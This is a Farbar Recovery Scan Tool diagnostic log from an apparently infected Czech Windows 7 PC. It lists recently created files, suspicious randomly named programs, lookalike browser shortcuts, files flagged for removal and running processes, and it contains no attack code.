2017-06-16 16:55 - 2017-05-12 20:07 - 00308456 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\atmfd.dll
2017-06-16 16:55 - 2017-05-12 20:04 - 01314112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntdll.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 01114112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\kernel32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00644096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\advapi32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00629760 _____ (Microsoft Corporation) C:\Windows\SysWOW64\usp10.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00313344 _____ (Microsoft Corporation) C:\Windows\SysWOW64\gdi32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00275456 _____ (Microsoft Corporation) C:\Windows\SysWOW64\KernelBase.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00070656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\fontsub.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00050688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\appidapi.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00043008 _____ (Microsoft Corporation) C:\Windows\SysWOW64\srclient.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00025600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\lpk.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00010240 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dciman32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00006656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\apisetschema.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00005120 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-file-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00005120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wow32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004608 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-processthreads-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-sysinfo-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-synch-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-misc-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-localregistry-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-localization-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-processenvironment-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-namedpipe-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-memory-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-libraryloader-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-interlocked-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-heap-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-string-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-rtlsupport-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-profile-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-io-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-handle-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-fibers-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-errorhandling-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-delayload-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-debug-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-datetime-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-console-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:55 - 00148480 _____ (Microsoft Corporation) C:\Windows\system32\appidpolicyconverter.exe
2017-06-16 16:55 - 2017-05-12 19:54 - 00062464 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\appid.sys
2017-06-16 16:55 - 2017-05-12 19:54 - 00017920 _____ (Microsoft Corporation) C:\Windows\system32\appidcertstorecheck.exe
2017-06-16 16:55 - 2017-05-12 19:51 - 00338432 _____ (Microsoft Corporation) C:\Windows\system32\conhost.exe
2017-06-16 16:55 - 2017-05-12 19:50 - 00296960 _____ (Microsoft Corporation) C:\Windows\system32\rstrui.exe
2017-06-16 16:55 - 2017-05-12 19:46 - 00112640 _____ (Microsoft Corporation) C:\Windows\system32\smss.exe
2017-06-16 16:55 - 2017-05-12 19:43 - 00034304 _____ (Adobe Systems) C:\Windows\SysWOW64\atmlib.dll
2017-06-16 16:55 - 2017-05-12 19:41 - 00025600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\setup16.exe
2017-06-16 16:55 - 2017-05-12 19:41 - 00014336 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntvdm64.dll
2017-06-16 16:55 - 2017-05-12 19:41 - 00007680 _____ (Microsoft Corporation) C:\Windows\SysWOW64\instnm.exe
2017-06-16 16:55 - 2017-05-12 19:41 - 00002048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\user.exe
2017-06-16 16:55 - 2017-05-12 19:40 - 00006144 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-security-base-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:40 - 00004608 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-threadpool-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:40 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-xstate-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:40 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-util-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 18:25 - 01251328 _____ (Microsoft Corporation) C:\Windows\SysWOW64\DWrite.dll
2017-06-16 16:55 - 2017-05-12 17:58 - 01648128 _____ (Microsoft Corporation) C:\Windows\system32\DWrite.dll
2017-06-16 16:55 - 2017-05-12 17:58 - 01180160 _____ (Microsoft Corporation) C:\Windows\system32\FntCache.dll
2017-06-16 16:55 - 2017-05-10 17:33 - 00091368 _____ (Microsoft Corporation) C:\Windows\system32\MigAutoPlay.exe
2017-06-16 16:55 - 2017-05-10 17:29 - 03165184 _____ (Microsoft Corporation) C:\Windows\system32\wucltux.dll
2017-06-16 16:55 - 2017-05-10 17:29 - 01867776 _____ (Microsoft Corporation) C:\Windows\system32\ExplorerFrame.dll
2017-06-16 16:55 - 2017-05-10 17:29 - 00192512 _____ (Microsoft Corporation) C:\Windows\system32\wuwebv.dll
2017-06-16 16:55 - 2017-05-10 17:29 - 00098816 _____ (Microsoft Corporation) C:\Windows\system32\wudriver.dll
2017-06-16 16:55 - 2017-05-10 17:28 - 00091136 _____ (Microsoft Corporation) C:\Windows\system32\WinSetupUI.dll
2017-06-16 16:55 - 2017-05-10 17:16 - 00091368 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MigAutoPlay.exe
2017-06-16 16:55 - 2017-05-10 17:13 - 00709120 _____ (Microsoft Corporation) C:\Windows\system32\wuapi.dll
2017-06-16 16:55 - 2017-05-10 17:13 - 00140288 _____ (Microsoft Corporation) C:\Windows\system32\wuauclt.exe
2017-06-16 16:55 - 2017-05-10 17:13 - 00037888 _____ (Microsoft Corporation) C:\Windows\system32\wups2.dll
2017-06-16 16:55 - 2017-05-10 17:13 - 00037888 _____ (Microsoft Corporation) C:\Windows\system32\wuapp.exe
2017-06-16 16:55 - 2017-05-10 17:13 - 00036864 _____ (Microsoft Corporation) C:\Windows\system32\wups.dll
2017-06-16 16:55 - 2017-05-10 17:13 - 00012288 _____ (Microsoft Corporation) C:\Windows\system32\wu.upgrade.ps.dll
2017-06-16 16:55 - 2017-05-10 17:12 - 01499648 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ExplorerFrame.dll
2017-06-16 16:55 - 2017-05-10 17:12 - 00174080 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuwebv.dll
2017-06-16 16:55 - 2017-05-10 17:00 - 00573440 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuapi.dll
2017-06-16 16:55 - 2017-05-10 17:00 - 00093696 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wudriver.dll
2017-06-16 16:55 - 2017-05-10 17:00 - 00035328 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuapp.exe
2017-06-16 16:55 - 2017-05-10 17:00 - 00030208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wups.dll
2017-06-16 16:55 - 2017-05-10 16:52 - 00117248 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\tdx.sys
2017-06-16 16:55 - 2017-05-09 17:29 - 00970240 _____ (Microsoft Corporation) C:\Windows\system32\localspl.dll
2017-06-16 16:55 - 2017-05-09 17:11 - 00497664 _____ (Microsoft Corporation) C:\Windows\SysWOW64\win32spl.dll
2017-06-16 16:55 - 2017-05-07 17:33 - 00094440 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mountmgr.sys
2017-06-16 16:55 - 2017-05-07 17:29 - 00011264 _____ (Microsoft Corporation) C:\Windows\system32\msmmsp.dll
2017-06-16 16:55 - 2017-03-30 17:03 - 00046080 _____ (Microsoft Corporation) C:\Windows\system32\rundll32.exe
2017-06-16 16:55 - 2017-03-30 16:58 - 00045056 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rundll32.exe
==================== One Month Modified Files and Folders =======
(If an entry is included in the fixlist, the file\folder will be moved.)
2017-07-03 21:41 - 2017-06-29 16:10 - 00016682 _____ () C:\Windows\System32\Tasks\eStark
2017-07-03 21:38 - 2016-03-18 17:24 - 00000000 ____D () C:\Users\Uzivatel\Desktop\FRST-OlderVersion
2017-07-03 21:38 - 2014-08-09 11:40 - 00000000 ____D () C:\FRST
2017-07-03 21:38 - 2010-03-16 13:00 - 02034086 _____ () C:\Windows\WindowsUpdate.log
2017-07-03 21:32 - 2010-04-23 14:49 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\Skype
2017-07-03 21:31 - 2017-07-03 21:30 - 00000003 ____H () C:\ProgramData\cm-lock
2017-07-03 21:30 - 2015-12-27 23:15 - 00000062 _____ () C:\service.log
2017-07-03 21:30 - 2014-11-18 15:40 - 00098548 _____ () C:\Windows\setupact.log
2017-07-03 21:30 - 2013-05-31 21:42 - 00000350 _____ () C:\Windows\Tasks\AVG-Secure-Search-Update_JUNE2013_TB_rmv.job
2017-07-03 21:30 - 2009-07-14 07:08 - 00000006 ____H () C:\Windows\Tasks\SA.DAT
2017-07-03 21:27 - 2017-05-07 21:27 - 00002480 ____H () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2017-07-03 21:27 - 2014-09-15 19:54 - 00002058 ____H () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2017-07-03 21:27 - 2013-04-21 00:04 - 00001100 ____H () C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-07-03 10:53 - 2009-07-14 06:45 - 00023392 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2017-07-03 10:53 - 2009-07-14 06:45 - 00023392 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2017-07-03 10:50 - 2017-06-29 19:09 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\ooq45k0gz3k
2017-07-03 10:50 - 2017-06-29 16:20 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\1fqb43r0ntz
2017-07-03 10:49 - 2017-06-29 16:08 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\slt0o43qupq
2017-07-03 10:48 - 2017-06-29 16:07 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\tqvg0555bo0
2017-07-03 10:45 - 2015-04-08 20:31 - 00000000 ____D () C:\Users\DefaultAppPool
2017-07-03 10:42 - 2017-05-09 10:13 - 00251832 _____ (Malwarebytes) C:\Windows\system32\Drivers\MBAMSwissArmy.sys
2017-07-03 10:40 - 2014-11-30 13:03 - 00857912 _____ () C:\Windows\PFRO.log
2017-07-03 10:38 - 2014-01-29 16:23 - 00000000 ____D () C:\AdwCleaner
2017-07-03 10:36 - 2017-04-17 13:25 - 00000000 ____D () C:\Windows\Update
2017-07-03 10:36 - 2017-03-30 18:31 - 00000000 ____D () C:\Update
2017-07-03 10:36 - 2017-03-16 18:44 - 00000000 ____D () C:\Windows\system32\log
2017-07-03 10:23 - 2010-03-18 20:40 - 00000000 ____D () C:\ProgramData\ICQ
2017-07-03 10:05 - 2017-07-03 10:05 - 04110280 _____ () C:\Users\Uzivatel\Downloads\adwcleaner_6.047 (2).exe
2017-07-02 12:36 - 2017-07-02 12:36 - 01130328 _____ (Google Inc.) C:\Users\Uzivatel\Downloads\ChromeSetup (1).exe
2017-07-02 12:34 - 2017-07-02 12:34 - 04110280 _____ () C:\Users\Uzivatel\Downloads\adwcleaner_6.047(1).exe
2017-07-02 12:24 - 2017-07-02 12:24 - 04110280 _____ () C:\Users\Uzivatel\Downloads\adwcleaner_6.047 (1).exe
2017-07-02 12:20 - 2017-07-02 12:20 - 04110280 _____ () C:\Users\Uzivatel\Desktop\adwcleaner_6.047.exe
2017-07-01 23:04 - 2016-03-18 17:25 - 00093859 _____ () C:\Users\Uzivatel\Desktop\FRST.txt
2017-07-01 23:02 - 2017-06-30 14:52 - 00001042 _____ () C:\Users\DefaultAppPool\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-07-01 22:16 - 2017-06-29 16:07 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\xgmrsj1ys5i
2017-07-01 21:58 - 2017-07-01 21:58 - 00003162 _____ () C:\Windows\System32\Tasks\{9A61D488-CAEF-4292-8C11-109B7A7214E7}
2017-07-01 21:57 - 2017-07-01 21:57 - 00003162 _____ () C:\Windows\System32\Tasks\{975EC48D-76CF-4AB5-89BE-0F81A3F1DAEC}
2017-07-01 21:56 - 2017-07-01 21:56 - 00003162 _____ () C:\Windows\System32\Tasks\{31BA5A72-3AC8-4833-A0DA-006CF4475CD1}
2017-07-01 10:54 - 2017-06-29 16:30 - 00000000 ____D () C:\ProgramData\AppmallosayoV
2017-06-30 16:33 - 2017-06-30 16:33 - 04110280 _____ () C:\Users\Uzivatel\Downloads\adwcleaner_6.047.exe
2017-06-30 15:19 - 2017-06-29 16:07 - 00000000 ____D () C:\Program Files (x86)\u1f3jffxnwl
2017-06-29 19:09 - 2017-06-29 19:09 - 00000000 ____D () C:\Program Files\I59ZA8EZ7K
2017-06-29 18:43 - 2017-06-29 16:12 - 00003164 _____ () C:\Windows\System32\Tasks\34a6735dd8363e8db5cc880809001e84
2017-06-29 18:38 - 2010-09-18 13:27 - 00004829 _____ () C:\Windows\wininit.ini
2017-06-29 18:37 - 2017-06-29 18:37 - 00013729 ____R () C:\Windows\system32\Drivers\etc\hosts.20170629-183755.backup
2017-06-29 18:37 - 2017-06-29 18:37 - 00013394 ____R () C:\Windows\system32\Drivers\etc\hosts.20170629-183756.backup
2017-06-29 18:37 - 2017-06-29 18:37 - 00009656 ____R () C:\Windows\system32\Drivers\etc\hosts.20170629-183757.backup
2017-06-29 17:43 - 2010-03-19 14:19 - 00000000 ____D () C:\Program Files (x86)\Google
2017-06-29 17:38 - 2017-06-29 16:09 - 00000000 ____D () C:\Program Files (x86)\UCBrowser
2017-06-29 16:33 - 2017-06-29 16:32 - 00000000 ____D () C:\ProgramData\AppmallosayoVs
2017-06-29 16:29 - 2011-07-19 23:22 - 00000000 ____D () C:\Windows\Minidump
2017-06-29 16:24 - 2017-06-29 16:07 - 00000270 __RSH () C:\ProgramData\ntuser.pol
2017-06-29 16:20 - 2017-06-29 16:20 - 00000000 ____D () C:\Program Files\G05HC4PZV0
2017-06-29 16:19 - 2017-06-29 16:19 - 00000270 __RSH () C:\Users\Uzivatel\ntuser.pol
2017-06-29 16:19 - 2010-03-16 13:01 - 00000000 ____D () C:\Users\Uzivatel
2017-06-29 16:08 - 2017-06-29 16:08 - 00000000 ____D () C:\Program Files\SWG63XXW0V
2017-06-29 16:08 - 2017-06-29 16:08 - 00000000 ____D () C:\Program Files\FNJLTCS41J
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\iqglfixjuar
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D () C:\Program Files\4SYXRXP5F6
2017-06-29 16:07 - 2009-07-14 05:20 - 00000000 ___HD () C:\Windows\system32\GroupPolicy
2017-06-29 16:06 - 2017-06-29 16:06 - 01625824 _____ (The OpenSSL Project, http://www.openssl.org/) C:\Windows\libeay32.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 01559319 _____ (Microsoft Corporation) C:\Windows\csrss.exe
2017-06-29 16:06 - 2017-06-29 16:06 - 00608117 _____ () C:\Windows\libcurl-4.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 00054784 _____ (MingW-W64 Project. All rights reserved.) C:\Windows\libwinpthread-1.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 00002166 ___RS () C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Intеrnet Ехрlorer.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00002111 ___RS () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Gооgle Chrоmе.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00002009 ___RS () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Моzillа Firefoх.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00001921 ___RS () C:\Users\Public\Desktop\Моzillа Firefoх.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00001916 ___RS () C:\Users\Public\Desktop\Gооglе Chrоme.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00000000 ____D () C:\Windows\Azart
2017-06-29 16:06 - 2017-06-29 16:06 - 00000000 ____D () C:\Program Files\0KIQQIA15D
2017-06-29 16:06 - 2016-12-16 16:07 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PlaysTV
2017-06-29 16:06 - 2010-04-12 15:56 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TmUnitedForever
2017-06-29 16:05 - 2017-06-29 16:05 - 00001118 _____ () C:\Users\Uzivatel\Desktop\Играть в Dragon Knight.lnk
2017-06-28 14:38 - 2017-06-28 14:38 - 00051629 _____ () C:\Windows\uninstaller.dat
2017-06-24 14:43 - 2017-06-24 14:30 - 00000000 ____D () C:\Users\Uzivatel\Documents\Argo
2017-06-24 14:29 - 2014-05-16 19:25 - 00000000 ____D () C:\ProgramData\Bohemia Interactive
2017-06-20 08:42 - 2017-06-20 08:42 - 00196520 _____ () C:\Windows\system32\Drivers\cfidsk.sys
2017-06-17 19:39 - 2009-07-14 05:20 - 00000000 ____D () C:\Windows\rescache
2017-06-17 10:41 - 2009-07-14 06:45 - 05015264 _____ () C:\Windows\system32\FNTCACHE.DAT
2017-06-17 10:36 - 2009-07-14 05:20 - 00000000 ____D () C:\Windows\SysWOW64\migwiz
2017-06-17 10:36 - 2009-07-14 05:20 - 00000000 ____D () C:\Windows\system32\migwiz
2017-06-17 02:22 - 2012-05-12 21:47 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Silverlight
2017-06-17 02:21 - 2017-03-16 23:25 - 00045472 _____ () C:\Windows\SysWOW64\1
2017-06-17 02:21 - 2012-05-12 21:46 - 00000000 ____D () C:\Program Files\Microsoft Silverlight
2017-06-17 02:21 - 2012-05-12 21:46 - 00000000 ____D () C:\Program Files (x86)\Microsoft Silverlight
2017-06-17 02:20 - 2013-08-14 12:34 - 00000000 ____D () C:\Windows\system32\MRT
2017-06-17 02:20 - 2009-11-16 16:40 - 133627792 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe
2017-06-16 17:27 - 2009-07-14 05:20 - 00000000 ____D () C:\Program Files\Common Files\Microsoft Shared
2017-06-16 17:26 - 2009-07-14 05:20 - 00000000 ____D () C:\Windows\registration
2017-06-16 17:22 - 2012-04-01 10:05 - 00803328 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe
2017-06-16 17:22 - 2012-04-01 10:05 - 00004396 _____ () C:\Windows\System32\Tasks\Adobe Flash Player Updater
2017-06-16 17:22 - 2011-05-29 20:46 - 00144896 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl
2017-06-16 17:22 - 2011-03-30 20:52 - 00000000 ____D () C:\Windows\system32\Macromed
2017-06-16 17:22 - 2010-03-18 19:56 - 00000000 ____D () C:\Windows\SysWOW64\Macromed
2017-06-11 17:17 - 2011-04-20 16:37 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\Audacity
2017-06-10 17:57 - 2009-07-14 05:20 - 00000000 ____D () C:\Windows\system32\NDF
Files to move or delete:
====================
C:\Windows\Temp\00010362\conhost.exe
C:\Windows\Temp\0e-988c5-729-c8f8e-960e0de90526f\QKRPRNSOSV.exe
==================== Bamital & volsnap Check =================
(There is no automatic fix for files that do not pass verification.)
C:\Windows\System32\winlogon.exe => File is digitally signed
C:\Windows\System32\wininit.exe => File is digitally signed
C:\Windows\SysWOW64\wininit.exe => File is digitally signed
C:\Windows\explorer.exe => File is digitally signed
C:\Windows\SysWOW64\explorer.exe => File is digitally signed
C:\Windows\System32\svchost.exe => File is digitally signed
C:\Windows\SysWOW64\svchost.exe => File is digitally signed
C:\Windows\System32\services.exe => File is digitally signed
C:\Windows\System32\User32.dll => File is digitally signed
C:\Windows\SysWOW64\User32.dll => File is digitally signed
C:\Windows\System32\userinit.exe => File is digitally signed
C:\Windows\SysWOW64\userinit.exe => File is digitally signed
C:\Windows\System32\rpcss.dll => File is digitally signed
C:\Windows\System32\Drivers\volsnap.sys => File is digitally signed
LastRegBack: 2017-07-02 12:59
==================== End Of Log ============================
Scan result of Farbar Recovery Scan Tool (FRST.txt) (x64) Version: 09-08-2014 (ATTENTION: ====> FRST version is 1059 days old and could be outdated)
Ran by Uzivatel (administrator) on UZIVATEL-PC on 03-07-2017 21:38:31
Running from C:\Users\Uzivatel\Desktop\FRST-OlderVersion
Platform: Windows 7 Home Premium Service Pack 1 (X64) OS Language: Čeština (Česká republika)
Internet Explorer Version 11
Boot Mode: Normal
The only official download link for FRST:
Download link for 32-Bit version: http://www.bleepingcomputer.com/downloa ... ool/dl/81/
Download link for 64-Bit Version: http://www.bleepingcomputer.com/downloa ... ool/dl/82/
Download link from any site other than Bleeping Computer is unpermitted or outdated.
See tutorial for FRST: http://www.geekstogo.com/forum/topic/33 ... scan-tool/
==================== Processes (Whitelisted) =================
(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)
(Microsoft Corporation) C:\Program Files\Microsoft Security Client\MsMpEng.exe
(AMD) C:\Windows\System32\atiesrxx.exe
(AMD) C:\Windows\System32\atieclxx.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ElevationManager\AdobeUpdateService.exe
(Adobe Systems, Incorporated) C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe
(Advanced Micro Devices, Inc.) C:\Program Files\AMD\ATI.ACE\Fuel\Fuel.Service.exe
(Apple Inc.) C:\Program Files (x86)\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
(TODO: <Company name>) C:\ProgramData\AppmallosayoV\AppmallosayoV.exe
(Hewlett-Packard Company) C:\Program Files (x86)\Common Files\LightScribe\LSSrvc.exe
(Microsoft Corporation) C:\Program Files (x86)\Sony\Shared Plug-Ins\Media Manager\MSSQL$SONY_MEDIAMGR\Binn\sqlservr.exe
(Nero AG) C:\Program Files (x86)\Common Files\Nero\Nero BackItUp 4\NBService.exe
() C:\Program Files (x86)\CDBurnerXP\NMSAccessU.exe
(PACE Anti-Piracy, Inc.) C:\Program Files (x86)\Common Files\PACE\Services\LicenseServices\LDSvc.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
() C:\Windows\SysWOW64\PnkBstrA.exe
(Microsoft Corporation) C:\Program Files\Microsoft Security Client\msseces.exe
(Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\cnext.exe
(Microsoft Corporation) C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe
() C:\Windows\Temp\00010362\conhost.exe
(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVC.EXE
(Hewlett-Packard Company) C:\Program Files (x86)\Common Files\LightScribe\LightScribeControlPanel.exe
(WIBU-SYSTEMS AG) C:\Program Files (x86)\CodeMeter\Runtime\bin\CodeMeter.exe
(Skype Technologies S.A.) C:\Program Files (x86)\Skype\Phone\Skype.exe
(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVCM.EXE
(PYXQ) C:\Program Files\FNJLTCS41J\FNJLTCS41.exe
(PYXQ) C:\Program Files\SWG63XXW0V\SWG63XXW0.exe
() C:\Program Files\G05HC4PZV0\M20DKGF77.exe
(N9@XW9) C:\Program Files\I59ZA8EZ7K\91SNIEC4V.exe
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
(WIBU-SYSTEMS AG) C:\Program Files (x86)\CodeMeter\Runtime\bin\CodeMeterCC.exe
() C:\Program Files (x86)\Common Files\Totem Shared\Uninstall0001\Upd.exe
(Apple Inc.) C:\Program Files (x86)\iTunes\iTunesHelper.exe
(Safer Networking Ltd.) C:\Program Files (x86)\Spybot - Search & Destroy\SDWinSec.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe
(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe
(Advanced Micro Devices Inc.) C:\Program Files (x86)\AMD\ATI.ACE\Core-Static\MOM.exe
(Adobe Systems, Incorporated) C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AdobeGCClient.exe
(Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\IPC\AdobeIPCBroker.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe
(Microsoft Corporation) C:\Windows\System32\inetsrv\w3wp.exe
(Advanced Micro Devices Inc.) C:\Program Files (x86)\AMD\ATI.ACE\Core-Static\CCC.exe
() C:\Windows\Temp\g985A.tmp.exe
() C:\Windows\Temp\g985B.tmp.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ADS\Adobe Desktop Service.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\HEX\Adobe CEF Helper.exe
() C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSync\CoreSync.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CCXProcess\CCXProcess.exe
(Node.js) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CCXProcess\libs\node.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\HEX\Adobe CEF Helper.exe
